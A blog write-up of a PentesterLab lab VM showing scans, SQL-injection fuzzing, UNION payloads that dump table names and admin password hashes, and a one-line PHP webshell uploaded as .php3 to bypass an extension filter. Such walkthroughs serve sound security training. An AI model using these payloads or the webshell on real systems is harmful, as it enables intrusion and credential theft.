PentestLabs: From SQL Injection to Shell

Vulnhub Writeups

Posted by coastal on March 12, 2017

Introduction

Another VM from Pentesterlab, the goal of this image is to leverage a SQLi into shell access to the box.

Discovery

Let’s start off as we normally do by identifying the box and doing a port scan.

root@kali:~# netdiscover -i eth1

Currently scanning: 172.16.4.0/16   |   Screen View: Unique Hosts

3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1    0a:00:27:00:00:00      1      60  Unknown vendor
192.168.56.100  08:00:27:1d:35:ad      1      60  PCS Systemtechnik GmbH
192.168.56.101  08:00:27:5d:46:6e      1      60  PCS Systemtechnik GmbH
root@kali:~# nmap -sV -p- 192.168.56.101

Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-10 20:08 EST
Nmap scan report for 192.168.56.101
Host is up (0.00074s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.16 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.06 seconds

So here we see that there is an Apache instance running on port 80. Let’s check it out with a web browser.

Clicking around to other areas of the website it is clear that pages other than the homepage are accessed with the following request:

GET /cat.php?id={id} HTTP/1.1
Host: 192.168.56.101
[...]

i.e. the test page is access via id=1, ruxcon through id=2 etc. The admin page is located at /Admin.php and prompts us for the username and password of the admin.

Input Fuzzing

There is clearly some dynamic lookup happening via the id field in the GET requests. Let’s use the wfuzz tool that we used for enumeration on the last challenge and repurpose it for SQLi fuzzing.

wfuzz -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt http://192.168.56.101/cat.php?id=FUZZ

The preceding command replaces the FUZZ parameter in the URL at the end with the contents of each line in the SQL.txt file, which contains a number of different common SQLi strings. The output looks like so:

root@kali:~# wfuzz --hc 404 -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt http://192.168.56.101/cat.php?id=FUZZ
********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer                      *
********************************************************

Target: http://192.168.56.101/cat.php?id=FUZZ
Total requests: 125

==================================================================
ID	Response   Lines      Word         Chars          Request
==================================================================

00000:  C=200     66 L	     113 W	   1235 Ch	  "'%20;"
00001:  C=200     66 L	     114 W	   1244 Ch	  "\x3D%20\x3B'"
00002:  C=200     66 L	     114 W	   1238 Ch	  "=%20'"
00003:  C=200     66 L	     114 W	   1239 Ch	  "=%20--"
00004:  C=200     66 L	     113 W	   1236 Ch	  "=%20;"
00005:  C=200     66 L	     113 W	   1235 Ch	  "" or 0=0 #"
00006:  C=200     66 L	     113 W	   1235 Ch	  """

[...truncated...]

The important field that we want to look at is the Word count. Abberations from the baseline of around 113 W indicates that there is some alternate response generated through the handling of the request (errors, extra data, etc). A few interesting samples include:

00024:  C=200     66 L	      84 W	   1088 Ch	  "'hi' or 'x'='x';"
00064:  C=200     66 L	      84 W	   1088 Ch	  "%20'sleep%2050'"
00109:  C=200     66 L	      84 W	   1088 Ch	  "'%20or%20''='"
00120:  C=200     66 L	      84 W	   1088 Ch	  "0 or 1=1"
00030:  C=200     66 L	      90 W	   1128 Ch	  "PRINT @@variable"

As it turns out, 84 W generally indicates a successful SQLi injection whereas 90 W seems to indicate syntax errors (whoops leaving error messages on in DB configs). These injections throw back presumably all of the images in the query’s table:

Now images are neat and all, but let’s see if we can build off these constructs to get a little more information out of this DB.

Enumeration

We’re going to build our enumeration efforts off of the 0 or 1=1 injection because I like less punctuation. Our enumeration efforts build off of a key SQL keyword, UNION. The UNION keyword is used to join the results of multiple SQL requests. As our initial injection is limited to the data in the table in the vulnerable request, we can use the UNION keyword to join the results of the initially limited dataset and any arbitrary data that we choose with the statement we can create.

i.e. select user from users where user_id=1 UNION select user from users where user_id=2; would return both user 1 and user 2. There are a couple of steps to exploiting this UNION injection:

  • Find the number of columns in the exploitable request
  • Determine which of these columns are echoed to the response
  • Exploit that column to retrieve table metadata from the DB
  • Access arbitrary data from the DB

1. Find Number of Columns in Request

So, for the first step we need to determine the number of columns in the initial request. This is important because for the UNION to work, both queries have to have the same number of columns in the response. For this task, we can utilize the ORDER BY keyword. This keyword returns the results ordered by the column specified by the ORDER BY value. For example:

select user,first_name,last_name from users where user_id=1 ORDER BY 2

Would return the results of the query ordered by the second column or first_name. If we tried the same query with ORDER BY set to 4, which does not correspond to a column in the request, we would receive an error

Unknown column '4' in 'order clause'

We can use this functionality to determine the number of columns in the request so we know how to pad our injection in the second half of the UNION statement. Our injection will look like:

1 order by {n}

Where n is the number of columns. By incrementing ORDER BY until we get an error, we determine that there are 4 columns in the injection request.

2. Determine Which Column Echoes to Response

Now that we know how many columns are in the initial request, we can craft our SQLi payload with the UNION keyword like so:

9999 union select 1,2,3,4;

We could match the shown image to the results of a cat.php?id= request. Another way is to replace a column number with a MySql function with output. One such command is the user() command that returns the name of the current user of the DB. By iterating through the columns of our concatenated select statement, we find that the second column of the result is what is displayed to the screen:

3. Retrieve Table Metadata

Now that we have SQLi with arbitrary database access, we can enumerate the database and retrieve table metadata like table names and column names in tables in order to perform finer-grained data extraction. Metadata about the tables present in the database are stored in a table in the database (in versions of MySQL >= 5) named information_schema. We can use the tables and columns accessors on information_schema to pull table and column names from the database like so:

1 union select 1,table_name,3,4 from information_schema.tables
1 union select 1,column_name,3,4 from information_schema.columns

Unfortunately, this doesn’t tell us which column name belongs to which table. However, we can guess that the table name might be stored in the columns data. We can tie the information together with a concat call:

1 union select 1,concat(table_name, ':', column_name),3,4 from information_schema.columns

And we have the table/column schema! While parsing through we see the users table schema. Maybe it holds the admin creds for the login page? Let’s see:

1 union select 1,concat(id, ':', login, ':', password),3,4 from users

Sure enough it does. Now this looks like MD5 to me. The easiest way I’ve been dealing with MD5 hashes is to just check them out with a search engine. It’s quicker than setting up John and can usually get results for common passwords.

Sure enough, we’ve cracked the admin login.

Access Admin Page

Logging into the admin page presents us with some administration tools such as file upload and deletion.

Let’s try to upload a really simple webshell in php

<?php
system($_GET['cmd']);
?>

No dice. Given the relative simplicity of this challenge though, I think it will probably use extension checking for file validity (and hopefully a blacklist vs. whitelist). If we change the extension to .php3 we should still be able to access the webshell and it will bypass a simply .php extension filter.

Sure enough, we’ve got our .php3 webshell on the server!

Exploit

I found the location of the webshell by checking the source of one of the images on the website and locating the upload dir as

/admin/uploads/

Let’s see if we have access:

Great! But entering commands through the browser is tedious, let’s give ourselves a reverse shell to work with:

And we have successfully gone from SQLi to shell!